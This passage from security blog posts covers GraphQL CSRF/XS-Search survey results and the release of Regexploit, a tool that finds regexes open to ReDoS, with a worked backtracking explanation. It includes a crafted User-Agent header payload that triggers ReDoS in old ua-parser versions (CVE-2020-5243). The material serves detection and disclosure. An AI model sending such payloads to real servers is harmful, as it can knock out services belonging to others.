<p>The implications of a successful <code class="language-plaintext highlighter-rouge">XS-Search</code> attack on a GraphQL endpoint cannot be overstated. However, as previously mentioned, CSRF-based issues can be successfully mitigated with some effort.</p>
<h3 id="automate-everything">Automate Everything!!!</h3>
<p>As much as we love finding bugs the hard way,
we believe that automation is the only way to democratize security and provide
the best service to the community.</p>
<p>For this reason and in conjunction with this research, we are releasing a new major version of our GraphQL <strong>InQL</strong> Burp extension.</p>
<p><a href="https://github.com/doyensec/inql/releases/tag/v4.0.1">InQL v4</a> can assist in detecting these issues:</p>
<ul>
<li>
<p>By identifying various classes of CSRF through new “Send to Repeater” helpers:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">GET</code> query parameters</li>
<li><code class="language-plaintext highlighter-rouge">POST</code> form-data</li>
<li><code class="language-plaintext highlighter-rouge">POST</code> x-form-urlencoded</li>
</ul>
</li>
<li>
<p>By improving the query generation</p>
</li>
</ul>
<div style="text-align: center;">
<img src="../../../public/images/inql_v3_demo.gif" title="shell.showItemInFolder" alt="shell.showItemInFolder" align="center" style="display: block; margin-left: auto; margin-right: auto; width: 800px;" />
</div>
<h2 id="something-for-our-beloved-number-crunchers">Something for our beloved number crunchers!</h2>
<p>We tested for the aforementioned vulnerabilities in some of the top companies that make use of GraphQL.
While the research on these ~30 endpoints lasted only two days
and no conclusiveness nor completeness should be inferred,
numbers show an impressive amount of unpatched vulnerabilities:</p>
<ul>
<li>14 (~50%) were vulnerable to some kind of XS-Search, equivalent to a GET-based CSRF</li>
<li>3 (~10%) were vulnerable to CSRF</li>
</ul>
<blockquote>
<p>TL;DR: Cross Site Request Forgery is here to stay for a few more years, even if you use GraphQL!</p>
</blockquote>
<h2 id="references">References</h2>
<ul>
<li><a href="https://blog.doyensec.com/2018/05/17/graphql-security-overview.html">GraphQL Security Overview</a></li>
<li><a href="https://blog.doyensec.com/2020/11/19/inql-scanner-v3.html">Doyensec InQL Scanner</a></li>
<li><a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html">OWASP CSRF Prevention Cheat Sheet</a></li>
<li><a href="https://graphql.org/learn/serving-over-http/#get-request">GraphQL GET request queries</a></li>
<li><a href="https://book.hacktricks.xyz/pentesting-web/xs-search">XSSearch</a></li>
<li><a href="https://github.com/xsleaks/xsleaks/wiki/Browser-Side-Channels">XSSearch navigation event for GET requests</a></li>
</ul>
Regexploit: DoS-able Regular Expressions2021-03-11T00:00:00+01:00https://blog.doyensec.com/2021/03/11/regexploit<style>.ansi{ line-height: 1.1; font-family: monospace; margin-left: 1rem; } .myansi { margin-left: 1rem; } .myansi p { margin-bottom: 0.2rem; } code.regex span { color: #fff; padding: 2px 4px; }</style>
<p>When thinking of Denial of Service (DoS), we often focus on Distributed Denial of Service (DDoS) where millions of zombie machines overload a service by launching a tsunami of data.
However, by abusing the algorithms a web application uses, an attacker can bring a server to its knees with as little as a single request.
Doing that requires finding algorithms which have terrible performance under certain conditions, and then triggering those conditions.
One widespread and frequently vulnerable area is in the misuse of regular expressions (regexes).</p>
<p>Regular expressions are used for all manner of text-processing tasks.
They may seem to run fine, but if a regex is vulnerable to Regular Expression Denial of Service (ReDoS), it may be possible to craft input which causes the CPU to run at 100% for years.</p>
<p><strong>In this blog post, we’re releasing a new tool to analyse regular expressions and hunt for ReDoS vulnerabilities. Our heuristic has been proven to be extremely effective, as demonstrated by many vulnerabilities discovered across popular NPM, Python and Ruby dependencies.</strong></p>
<div style="text-align: center;">
<img src="../../../public/images/regexploit_logo.png" title="regexploit_logo" align="center" style="display: block; margin-left: auto; margin-right: auto; max-width: 60%;" />
</div>
<h3 id="check-your-regexes-with-regexploit">Check your regexes with Regexploit</h3>
<p>🚀 <a href="https://github.com/doyensec/regexploit">@doyensec/regexploit</a> - <code class="language-plaintext highlighter-rouge">pip install regexploit</code> and find some bugs.</p>
<h3 id="backtracking">Backtracking</h3>
<p>To get into the topic, let’s review how the regex matching engines in languages like Python, Perl, Ruby, C# and JavaScript work. Let’s imagine that we’re using this deliberately silly regex to extract version numbers:</p>
<p><code class="regex" data-regex="(.+)\.(.+)\.(.+)">
<span style="background-color:#A0A;">(.+)</span><span style="background-color:#A50">\.</span><span style="background-color:#A00">(.+)</span><span style="background-color:#0A0">\.</span><span style="background-color:#A0A">(.+)</span>
</code></p>
<p>That will correctly process something like <code class="language-plaintext highlighter-rouge">123.456.789</code>, but it’s a pretty inefficient regex. How does the matching process work?</p>
<div class="myansi">
<p>The first <code class="language-plaintext highlighter-rouge">.+</code> capture group greedily matches all the way to the end of the string as dot matches every character.</p>
<div class="ansi">
<span style="color:#ffffff"><span style="background-color:#ff00ff"></span></span><span style="background-color:#0AA">123.456.789</span><br />
<span style="color:#ffffff"><span style="background-color:#ff00ff"><span style="background-color:#A0A">1</span></span></span><span style="background-color:#0AA">23.456.789</span><br />
<span style="color:#ffffff"><span style="background-color:#ff00ff"><span style="background-color:#A0A">12</span></span></span><span style="background-color:#0AA">3.456.789</span><br />
<span style="color:#ffffff"><span style="background-color:#ff00ff"><span style="background-color:#A0A">123</span></span></span><span style="background-color:#0AA">.456.789</span><br />
<span style="color:#ffffff"><span style="background-color:#ff00ff"><span style="background-color:#A0A">123.</span></span></span><span style="background-color:#0AA">456.789</span><br />
<span style="color:#ffffff"><span style="background-color:#ff00ff"><span style="background-color:#A0A">123.4</span></span></span><span style="background-color:#0AA">56.789</span><br />
<span style="color:#ffffff"><span style="background-color:#ff00ff"><span style="background-color:#A0A">123.45</span></span></span><span style="background-color:#0AA">6.789</span><br />
<span style="color:#ffffff"><span style="background-color:#ff00ff"><span style="background-color:#A0A">123.456</span></span></span><span style="background-color:#0AA">.789</span><br />
<span style="color:#ffffff"><span style="background-color:#ff00ff"><span style="background-color:#A0A">123.456.</span></span></span><span style="background-color:#0AA">789</span><br />
<span style="color:#ffffff"><span style="background-color:#ff00ff"><span style="background-color:#A0A">123.456.7</span></span></span><span style="background-color:#0AA">89</span><br />
<span style="color:#ffffff"><span style="background-color:#ff00ff"><span style="background-color:#A0A">123.456.78</span></span></span><span style="background-color:#0AA">9</span><br />
<span style="color:#ffffff"><span style="background-color:#ff00ff"><span style="background-color:#A0A">123.456.789</span></span></span><span style="background-color:#0AA"></span><br />
</div>
<p><code class="language-plaintext highlighter-rouge">$1="123.456.789"</code>.
The matcher then looks for a literal dot character.
Unable to find it, it tries removing one character at a time from the first <code class="language-plaintext highlighter-rouge">.+</code></p>
<div class="ansi">
<span style="color:#ffffff"><span style="background-color:#ff00ff"><span style="background-color:#A0A">123.456.78</span></span></span><span style="background-color:#0AA">9</span><br />
<span style="color:#ffffff"><span style="background-color:#ff00ff"><span style="background-color:#A0A">123.456.7</span></span></span><span style="background-color:#0AA">89</span><br />
<span style="color:#ffffff"><span style="background-color:#ff00ff"><span style="background-color:#A0A">123.456.</span></span></span><span style="background-color:#0AA">789</span><br />
<span style="color:#ffffff"><span style="background-color:#ff00ff"><span style="background-color:#A0A">123.456</span></span></span><span style="background-color:#0AA">.789</span><br />
<span style="color:#ffffff"><span style="background-color:#ff00ff"><span style="background-color:#A0A">123.456<span style="background-color:#A50">.</span></span></span></span><span style="background-color:#0AA">789</span><br />
</div>
<p>until it successfully matches a dot - <code class="language-plaintext highlighter-rouge">$1="123.456"</code></p>
<div class="ansi">
<span style="color:#ffffff"><span style="background-color:#ff00ff"><span style="background-color:#A0A">123.456<span style="background-color:#A50">.<span style="background-color:#A00">7</span></span></span></span></span><span style="background-color:#0AA">89</span><br />
<span style="color:#ffffff"><span style="background-color:#ff00ff"><span style="background-color:#A0A">123.456<span style="background-color:#A50">.<span style="background-color:#A00">78</span></span></span></span></span><span style="background-color:#0AA">9</span><br />
<span style="color:#ffffff"><span style="background-color:#ff00ff"><span style="background-color:#A0A">123.456<span style="background-color:#A50">.<span style="background-color:#A00">789</span></span></span></span></span><span style="background-color:#0AA"></span><br />
</div>
<p>The second capture group matches the final three digits <code class="language-plaintext highlighter-rouge">$2="789"</code>, but we need another dot so it has to backtrack.</p>
<div class="ansi">
<span style="color:#ffffff"><span style="background-color:#ff00ff"><span style="background-color:#A0A">123.456<span style="background-color:#A50">.<span style="background-color:#A00">78</span></span></span></span></span><span style="background-color:#0AA">9</span><br />
<span style="color:#ffffff"><span style="background-color:#ff00ff"><span style="background-color:#A0A">123.456<span style="background-color:#A50">.<span style="background-color:#A00">7</span></span></span></span></span><span style="background-color:#0AA">89</span><br />
<span style="color:#ffffff"><span style="background-color:#ff00ff"><span style="background-color:#A0A">123.456<span style="background-color:#A50">.</span></span></span></span><span style="background-color:#0AA">789</span><br />
</div>
<p>Hmmm… it seems that maybe the match for capture group 1 is incorrect, let’s try backtracking.</p>
<div class="ansi">
<span style="color:#ffffff"><span style="background-color:#ff00ff"><span style="background-color:#A0A">123.45</span></span></span><span style="background-color:#0AA">6.789</span><br />
<span style="color:#ffffff"><span style="background-color:#ff00ff"><span style="background-color:#A0A">123.4</span></span></span><span style="background-color:#0AA">56.789</span><br />
<span style="color:#ffffff"><span style="background-color:#ff00ff"><span style="background-color:#A0A">123.</span></span></span><span style="background-color:#0AA">456.789</span><br />
<span style="color:#ffffff"><span style="background-color:#ff00ff"><span style="background-color:#A0A">123</span></span></span><span style="background-color:#0AA">.456.789</span><br />
<span style="color:#ffffff"><span style="background-color:#ff00ff"><span style="background-color:#A0A">123<span style="background-color:#A50">.</span></span></span></span><span style="background-color:#0AA">456.789</span><br />
</div>
<p>OK let’s try with <code class="language-plaintext highlighter-rouge">$1="123"</code>, and let’s match group 2 greedily all the way to the end.</p>
<div class="ansi">
<span style="color:#ffffff"><span style="background-color:#ff00ff"><span style="background-color:#A0A">123<span style="background-color:#A50">.<span style="background-color:#A00">4</span></span></span></span></span><span style="background-color:#0AA">56.789</span><br />
<span style="color:#ffffff"><span style="background-color:#ff00ff"><span style="background-color:#A0A">123<span style="background-color:#A50">.<span style="background-color:#A00">45</span></span></span></span></span><span style="background-color:#0AA">6.789</span><br />
<span style="color:#ffffff"><span style="background-color:#ff00ff"><span style="background-color:#A0A">123<span style="background-color:#A50">.<span style="background-color:#A00">456</span></span></span></span></span><span style="background-color:#0AA">.789</span><br />
<span style="color:#ffffff"><span style="background-color:#ff00ff"><span style="background-color:#A0A">123<span style="background-color:#A50">.<span style="background-color:#A00">456.</span></span></span></span></span><span style="background-color:#0AA">789</span><br />
<span style="color:#ffffff"><span style="background-color:#ff00ff"><span style="background-color:#A0A">123<span style="background-color:#A50">.<span style="background-color:#A00">456.7</span></span></span></span></span><span style="background-color:#0AA">89</span><br />
<span style="color:#ffffff"><span style="background-color:#ff00ff"><span style="background-color:#A0A">123<span style="background-color:#A50">.<span style="background-color:#A00">456.78</span></span></span></span></span><span style="background-color:#0AA">9</span><br />
<span style="color:#ffffff"><span style="background-color:#ff00ff"><span style="background-color:#A0A">123<span style="background-color:#A50">.<span style="background-color:#A00">456.789</span></span></span></span></span><span style="background-color:#0AA"></span><br />
</div>
<p><code class="language-plaintext highlighter-rouge">$2="456.789"</code> but now there’s no dot! That can’t be the correct group 2…</p>
<div class="ansi">
<span style="color:#ffffff"><span style="background-color:#ff00ff"><span style="background-color:#A0A">123<span style="background-color:#A50">.<span style="background-color:#A00">456.78</span></span></span></span></span><span style="background-color:#0AA">9</span><br />
<span style="color:#ffffff"><span style="background-color:#ff00ff"><span style="background-color:#A0A">123<span style="background-color:#A50">.<span style="background-color:#A00">456.7</span></span></span></span></span><span style="background-color:#0AA">89</span><br />
<span style="color:#ffffff"><span style="background-color:#ff00ff"><span style="background-color:#A0A">123<span style="background-color:#A50">.<span style="background-color:#A00">456.</span></span></span></span></span><span style="background-color:#0AA">789</span><br />
<span style="color:#ffffff"><span style="background-color:#ff00ff"><span style="background-color:#A0A">123<span style="background-color:#A50">.<span style="background-color:#A00">456</span></span></span></span></span><span style="background-color:#0AA">.789</span><br />
<span style="color:#ffffff"><span style="background-color:#ff00ff"><span style="background-color:#A0A">123<span style="background-color:#A50">.<span style="background-color:#A00">456<span style="background-color:#0A0">.</span></span></span></span></span></span><span style="background-color:#0AA">789</span><br />
<span style="color:#ffffff"><span style="background-color:#ff00ff"><span style="background-color:#A0A">123<span style="background-color:#A50">.<span style="background-color:#A00">456<span style="background-color:#0A0">.<span style="background-color:#A0A">7</span></span></span></span></span></span></span><span style="background-color:#0AA">89</span><br />
<span style="color:#ffffff"><span style="background-color:#ff00ff"><span style="background-color:#A0A">123<span style="background-color:#A50">.<span style="background-color:#A00">456<span style="background-color:#0A0">.<span style="background-color:#A0A">78</span></span></span></span></span></span></span><span style="background-color:#0AA">9</span><br />
<span style="color:#ffffff"><span style="background-color:#ff00ff"><span style="background-color:#A0A">123<span style="background-color:#A50">.<span style="background-color:#A00">456<span style="background-color:#0A0">.<span style="background-color:#A0A">789</span></span></span></span></span></span></span><span style="background-color:#0AA"></span>
</div>
<p>Finally we have a successful match: <code class="language-plaintext highlighter-rouge">$1="123", $2="456", $3="789"</code><br /><br /></p>
</div>
<p>As you can hopefully see, there can be a lot of back-and-forth in the regex matching process.
This backtracking is due to the ambiguous nature of the regex, where input can be matched in different ways.
If a regex isn’t well-designed, malicious input can cause a much more resource-intensive backtracking loop than this.</p>
<p>If backtracking takes an extreme amount of time, it will cause a Denial of Service, such as what happened to <a href="https://blog.cloudflare.com/details-of-the-cloudflare-outage-on-july-2-2019/">Cloudflare in 2019</a>.
In runtimes like NodeJS, the <a href="https://nodejs.org/en/docs/guides/dont-block-the-event-loop/#blocking-the-event-loop-redos">Event Loop will be blocked</a> which stalls all timers, <code class="language-plaintext highlighter-rouge">await</code>s, requests and responses until regex processing completes.</p>
<h3 id="redos-example">ReDoS example</h3>
<p>Now we can look at a ReDoS example. The ua-parser package contains a <a href="https://github.com/ua-parser/uap-core/blob/master/regexes.yaml">giant list of regexes</a> for <a href="https://blog.caller.xyz/user-agent-parsing-redos-cve-2020-5243/">deciphering browser User-Agent headers</a>. One of the regular expressions reported in <a href="https://github.com/ua-parser/uap-core/security/advisories/GHSA-cmcx-xhr8-3w9p">CVE-2020-5243</a> was:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>; *([^;/]+) Build[/ ]Huawei(MT1-U06|[A-Z]+\d+[^\);]+)[^\);]*\)
</code></pre></div></div>
<p>If we look closer at the end part we can see three overlapping repeating groups:</p>
<p><code class="regex" data-regex="\d+[^\);]+[^\);]*\)">
<span style="background-color:#A0A;">\d+</span><span style="background-color:#A50">[^\);]+</span><span style="background-color:#A00">[^\);]*</span><span style="background-color:#000">\)</span>
</code></p>
<p>Digit characters are matched by <code class="language-plaintext highlighter-rouge">\d</code> and by <code class="language-plaintext highlighter-rouge">[ˆ\);]</code>. If a string of <em>N</em> digits enters that section, there are <code class="language-plaintext highlighter-rouge">½(N-1)N</code> possible ways to split it up between the <code class="language-plaintext highlighter-rouge">\d+</code>, <code class="language-plaintext highlighter-rouge">[ˆ\);]+</code> and <code class="language-plaintext highlighter-rouge">[ˆ\);]*</code> groups. The key to causing ReDoS is to supply input which <em>doesn’t</em> successfully match, such as by not ending our malicious input with a closing parenthesis.
The regex engine will backtrack and try all possible ways of matching the digits in the hope of then finding a <code class="language-plaintext highlighter-rouge">)</code>.</p>
<iframe style="overflow: hidden; margin: 0px; border: 0px; display: inline-block; width: 270px; float: none; visibility: visible; height: 535px;" srcdoc="<body style="margin:-20px 0;overflow:hidden;"><script id="asciicast-MYiODjDca96hDUwGfaQSgJuux" src="https://asciinema.org/a/MYiODjDca96hDUwGfaQSgJuux.js" async data-cols="20" data-preload="0"></script></body>" sandbox="allow-scripts allow-same-origin"></iframe>
<p>This visualisation of the matching steps was produced by emitting verbose debugging from cpython’s regex engine using my <a href="https://github.com/bcaller/cpython">cpython fork</a>.</p>
<h2 id="regexploit">Regexploit</h2>
<p>Today, we are releasing a tool called <strong>Regexploit</strong> to extract regexes from code, scan them and find ReDoS.</p>
<p>Several tools already exist to find regexes with exponential worst case complexity (regexes of the form <code class="language-plaintext highlighter-rouge">(a+)+b</code>), but cubic complexity regexes (<code class="language-plaintext highlighter-rouge">a+a+a+b</code>) can still be damaging.
<a href="https://github.com/doyensec/regexploit">Regexploit</a> walks through the regex and tries to find ambiguities where a single character could be captured by multiple repeating parts.
Then it looks for a way to make the regular expression <strong>not</strong> match, so that the regex engine has to backtrack.</p>
<p>The <code class="language-plaintext highlighter-rouge">regexploit</code> script allows you to enter regexes via stdin. If the regex looks OK it will say “No ReDoS found”. With the regex above it shows the vulnerability:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Worst-case complexity: 3 ⭐⭐⭐ (cubic)
Repeated character: [[0-9]]
Example: ';0 Build/HuaweiA' + '0' * 3456
</code></pre></div></div>
<p>The final line of output gives a recipe for creating a User-Agent header which will cause ReDoS on sites using old versions of ua-parser, likely resulting in a Bad Gateway error.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>User-Agent: ;0 Build/HuaweiA0000000000000000000000000000...
</code></pre></div></div>
<p>To scan your source code, there is built-in support for extracting regexes from <em>Python</em>, <em>JavaScript</em>, <em>TypeScript</em>, <em>C#</em>, <em>JSON</em> and <em>YAML</em>. If you are able to extract regexes from other languages, they can be piped in and analysed.</p>
<p>Once a vulnerable regular expression is found, it does still require some manual investigation. If it’s not possible for untrusted input to reach the regular expression, then it likely does not represent a security issue. In some cases, a prefix or suffix might be required to get the payload to the right place.</p>
<h2 id="redos-survey">ReDoS Survey</h2>
<p>So what kind of ReDoS issues are out there? We used <a href="https://github.com/doyensec/regexploit">Regexploit</a> to analyse the top few thousand npm and pypi libraries (grabbed from the <a href="https://libraries.io">libraries.io</a> API) to find out.</p>
<div style="text-align: center;">
<svg id="mermaid-1609345900396" width="100%" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" height="449" style="max-width: 292.59375px;" viewBox="0 0 292.59375 449"><style>#mermaid-1609345900396{font-size:14px;fill:#333;}#mermaid-1609345900396 .error-icon{fill:#552222;}#mermaid-1609345900396 .error-text{fill:#552222;stroke:#552222;}#mermaid-1609345900396 .edge-thickness-normal{stroke-width:2px;}#mermaid-1609345900396 .edge-thickness-thick{stroke-width:3.5px;}#mermaid-1609345900396 .edge-pattern-solid{stroke-dasharray:0;}#mermaid-1609345900396 .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-1609345900396 .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-1609345900396 .marker{fill:#333333;}#mermaid-1609345900396 .marker.cross{stroke:#333333;}#mermaid-1609345900396 svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-1609345900396 .label{font-family:"trebuchet ms",verdana,arial,sans-serif;color:#333;}#mermaid-1609345900396 .label text{fill:#333;}#mermaid-1609345900396 .node rect,#mermaid-1609345900396 .node circle,#mermaid-1609345900396 .node ellipse,#mermaid-1609345900396 .node polygon,#mermaid-1609345900396 .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-1609345900396 .node .label{text-align:center;}#mermaid-1609345900396 .node.clickable{cursor:pointer;}#mermaid-1609345900396 .arrowheadPath{fill:#333333;}#mermaid-1609345900396 .edgePath .path{stroke:#333333;stroke-width:1.5px;}#mermaid-1609345900396 .flowchart-link{stroke:#333333;fill:none;}#mermaid-1609345900396 .edgeLabel{background-color:#e8e8e8;text-align:center;}#mermaid-1609345900396 .edgeLabel rect{opacity:0.5;background-color:#e8e8e8;fill:#e8e8e8;}#mermaid-1609345900396 .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-1609345900396 .cluster text{fill:#333;}#mermaid-1609345900396 div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:12px;background:hsl(80,100%,96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-1609345900396:root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;}#mermaid-1609345900396 flowchart{fill:apa;}</style><g><g class="output"><g class="clusters"></g><g class="edgePaths"><g class="edgePath LS-A LE-C" id="L-A-C" style="opacity: 1;"><path class="path" d="M145.1796875,47L145.1796875,72L145.1796875,97" marker-end="url(#arrowhead9203)" style="fill:none"></path><defs><marker id="arrowhead9203" viewBox="0 0 10 10" refX="9" refY="5" markerUnits="strokeWidth" markerWidth="8" markerHeight="6" orient="auto"><path d="M 0 0 L 10 5 L 0 10 z" class="arrowheadPath" style="stroke-width: 1; stroke-dasharray: 1, 0;"></path></marker></defs></g><g class="edgePath LS-C LE-D" id="L-C-D" style="opacity: 1;"><path class="path" d="M109.40115870786516,136L63.53125,161L63.53125,186" marker-end="url(#arrowhead9204)" style="fill:none"></path><defs><marker id="arrowhead9204" viewBox="0 0 10 10" refX="9" refY="5" markerUnits="strokeWidth" markerWidth="8" markerHeight="6" orient="auto"><path d="M 0 0 L 10 5 L 0 10 z" class="arrowheadPath" style="stroke-width: 1; stroke-dasharray: 1, 0;"></path></marker></defs></g><g class="edgePath LS-D LE-E" id="L-D-E" style="opacity: 1;"><path class="path" d="M63.53125,225L63.53125,259.5L115.69552951388889,294" marker-end="url(#arrowhead9205)" style="fill:none"></path><defs><marker id="arrowhead9205" viewBox="0 0 10 10" refX="9" refY="5" markerUnits="strokeWidth" markerWidth="8" markerHeight="6" orient="auto"><path d="M 0 0 L 10 5 L 0 10 z" class="arrowheadPath" style="stroke-width: 1; stroke-dasharray: 1, 0;"></path></marker></defs></g><g class="edgePath LS-C LE-F" id="L-C-F" style="opacity: 1;"><path class="path" d="M180.95821629213484,136L226.828125,161L226.828125,186" marker-end="url(#arrowhead9206)" style="fill:none"></path><defs><marker id="arrowhead9206" viewBox="0 0 10 10" refX="9" refY="5" markerUnits="strokeWidth" markerWidth="8" markerHeight="6" orient="auto"><path d="M 0 0 L 10 5 L 0 10 z" class="arrowheadPath" style="stroke-width: 1; stroke-dasharray: 1, 0;"></path></marker></defs></g><g class="edgePath LS-F LE-E" id="L-F-E" style="opacity: 1;"><path class="path" d="M226.828125,225L226.828125,259.5L174.66384548611111,294" marker-end="url(#arrowhead9207)" style="fill:none"></path><defs><marker id="arrowhead9207" viewBox="0 0 10 10" refX="9" refY="5" markerUnits="strokeWidth" markerWidth="8" markerHeight="6" orient="auto"><path d="M 0 0 L 10 5 L 0 10 z" class="arrowheadPath" style="stroke-width: 1; stroke-dasharray: 1, 0;"></path></marker></defs></g><g class="edgePath LS-E LE-G" id="L-E-G" style="opacity: 1;"><path class="path" d="M145.1796875,333L145.1796875,367.5L145.1796875,402" marker-end="url(#arrowhead9208)" style="fill:none"></path><defs><marker id="arrowhead9208" viewBox="0 0 10 10" refX="9" refY="5" markerUnits="strokeWidth" markerWidth="8" markerHeight="6" orient="auto"><path d="M 0 0 L 10 5 L 0 10 z" class="arrowheadPath" style="stroke-width: 1; stroke-dasharray: 1, 0;"></path></marker></defs></g></g><g class="edgeLabels"><g class="edgeLabel" transform="" style="opacity: 1;"><g transform="translate(0,0)" class="label"><rect rx="0" ry="0" width="0" height="0"></rect><foreignObject width="0" height="0"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; white-space: nowrap;"><span id="L-L-A-C" class="edgeLabel L-LS-A' L-LE-C"></span></div></foreignObject></g></g><g class="edgeLabel" transform="" style="opacity: 1;"><g transform="translate(0,0)" class="label"><rect rx="0" ry="0" width="0" height="0"></rect><foreignObject width="0" height="0"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; white-space: nowrap;"><span id="L-L-C-D" class="edgeLabel L-LS-C' L-LE-D"></span></div></foreignObject></g></g><g class="edgeLabel" transform="translate(63.53125,259.5)" style="opacity: 1;"><g transform="translate(-27.4609375,-9.5)" class="label"><rect rx="0" ry="0" width="54.921875" height="19"></rect><foreignObject width="54.921875" height="19"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; white-space: nowrap;"><span id="L-L-D-E" class="edgeLabel L-LS-D' L-LE-E">regexes</span></div></foreignObject></g></g><g class="edgeLabel" transform="" style="opacity: 1;"><g transform="translate(0,0)" class="label"><rect rx="0" ry="0" width="0" height="0"></rect><foreignObject width="0" height="0"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; white-space: nowrap;"><span id="L-L-C-F" class="edgeLabel L-LS-C' L-LE-F"></span></div></foreignObject></g></g><g class="edgeLabel" transform="translate(226.828125,259.5)" style="opacity: 1;"><g transform="translate(-27.4609375,-9.5)" class="label"><rect rx="0" ry="0" width="54.921875" height="19"></rect><foreignObject width="54.921875" height="19"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; white-space: nowrap;"><span id="L-L-F-E" class="edgeLabel L-LS-F' L-LE-E">regexes</span></div></foreignObject></g></g><g class="edgeLabel" transform="translate(145.1796875,367.5)" style="opacity: 1;"><g transform="translate(-21.9921875,-9.5)" class="label"><rect rx="0" ry="0" width="43.984375" height="19"></rect><foreignObject width="43.984375" height="19"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; white-space: nowrap;"><span id="L-L-E-G" class="edgeLabel L-LS-E' L-LE-G">ReDoS</span></div></foreignObject></g></g></g><g class="nodes"><g class="node default" id="flowchart-A-10672" transform="translate(145.1796875,27.5)" style="opacity: 1;"><rect rx="0" ry="0" x="-50.609375" y="-19.5" width="101.21875" height="39" class="label-container"></rect><g class="label" transform="translate(0,0)"><g transform="translate(-40.609375,-9.5)"><foreignObject width="81.21875" height="19"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; white-space: nowrap;">Libraries.io</div></foreignObject></g></g></g><g class="node default" id="flowchart-C-10673" transform="translate(145.1796875,116.5)" style="opacity: 1;"><rect rx="0" ry="0" x="-93.8984375" y="-19.5" width="187.796875" height="39" class="label-container"></rect><g class="label" transform="translate(0,0)"><g transform="translate(-83.8984375,-9.5)"><foreignObject width="167.796875" height="19"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; white-space: nowrap;">pypi / npm downloader</div></foreignObject></g></g></g><g class="node default" id="flowchart-D-10675" transform="translate(63.53125,205.5)" style="opacity: 1;"><rect rx="0" ry="0" x="-55.53125" y="-19.5" width="111.0625" height="39" class="label-container"></rect><g class="label" transform="translate(0,0)"><g transform="translate(-45.53125,-9.5)"><foreignObject width="91.0625" height="19"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; white-space: nowrap;">regexploit-js</div></foreignObject></g></g></g><g class="node default" id="flowchart-E-10677" transform="translate(145.1796875,313.5)" style="opacity: 1;"><rect rx="0" ry="0" x="-46.421875" y="-19.5" width="92.84375" height="39" class="label-container"></rect><g class="label" transform="translate(0,0)"><g transform="translate(-36.421875,-9.5)"><foreignObject width="72.84375" height="19"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; white-space: nowrap;">Regexploit</div></foreignObject></g></g></g><g class="node default" id="flowchart-F-10679" transform="translate(226.828125,205.5)" style="opacity: 1;"><rect rx="0" ry="0" x="-57.765625" y="-19.5" width="115.53125" height="39" class="label-container"></rect><g class="label" transform="translate(0,0)"><g transform="translate(-47.765625,-9.5)"><foreignObject width="95.53125" height="19"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; white-space: nowrap;">regexploit-py</div></foreignObject></g></g></g><g class="node default" id="flowchart-G-10683" transform="translate(145.1796875,421.5)" style="opacity: 1;"><rect rx="0" ry="0" x="-32.6171875" y="-19.5" width="65.234375" height="39" class="label-container"></rect><g class="label" transform="translate(0,0)"><g transform="translate(-22.6171875,-9.5)"><foreignObject width="45.234375" height="19"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; white-space: nowrap;">Triage</div></foreignObject></g></g></g></g></g></g></svg>
</div>
<!--
graph TB
A[Libraries.io] --\> C[pypi / npm downloader]
C --\> D[regexploit-js]
D --\> |regexes|E[Regexploit]
C --\> F[regexploit-py]
F --\> |regexes|E
E --\> |ReDoS|G[Triage]
-->
<p>We tried to exclude build tools and test frameworks, as bugs in these are unlikely to have any security impact.
When a vulnerable regex was found, we then needed to figure out how untrusted input could reach it.</p>
<h3 id="results">Results</h3>
<p>The most problematic area was the use of regexes to parse programming or markup languages.
Using regular expressions to parse some languages e.g. <a href="https://github.com/trentm/python-markdown2/pull/387">Markdown</a>, <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=1162357">CSS</a>, <a href="https://github.com/pygments/pygments/commit/2e7e8c4a7b318f4032493773732754e418279a14">Matlab</a> or <a href="https://github.com/advisories/GHSA-hq37-853p-g5cf">SVG</a> is fraught with danger.
Such languages have grammars which are designed to be processed by specialised lexers and parsers. Trying to perform the task with regexes leads to overly complicated patterns which are difficult for mere mortals to read.</p>
<p><strong>A recurring source of vulnerabilities was the handling of optional whitespace.</strong> As an example, let’s take the Python module <a href="https://github.com/advisories/GHSA-hq37-853p-g5cf">CairoSVG</a> which used the following regex:</p>
<p><code class="regex" data-regex="rgba\([ \n\r\t]*(.+?)[ \n\r\t]*\)">
<span style="background-color:#A0A;">rgba\(</span><span style="background-color:#A50">[ \n\r\t]*</span><span style="background-color:#A00">(.+?)</span><span style="background-color:#0A0">[ \n\r\t]*</span><span style="background-color:#000">\)</span>
</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ regexploit-py .env/lib/python3.9/site-packages/cairosvg/
Vulnerable regex in .env/lib/python3.9/site-packages/cairosvg/colors.py #190
Pattern: rgba\([ \n\r\t]*(.+?)[ \n\r\t]*\)
Context: RGBA = re.compile(r'rgba\([ \n\r\t]*(.+?)[ \n\r\t]*\)')
---
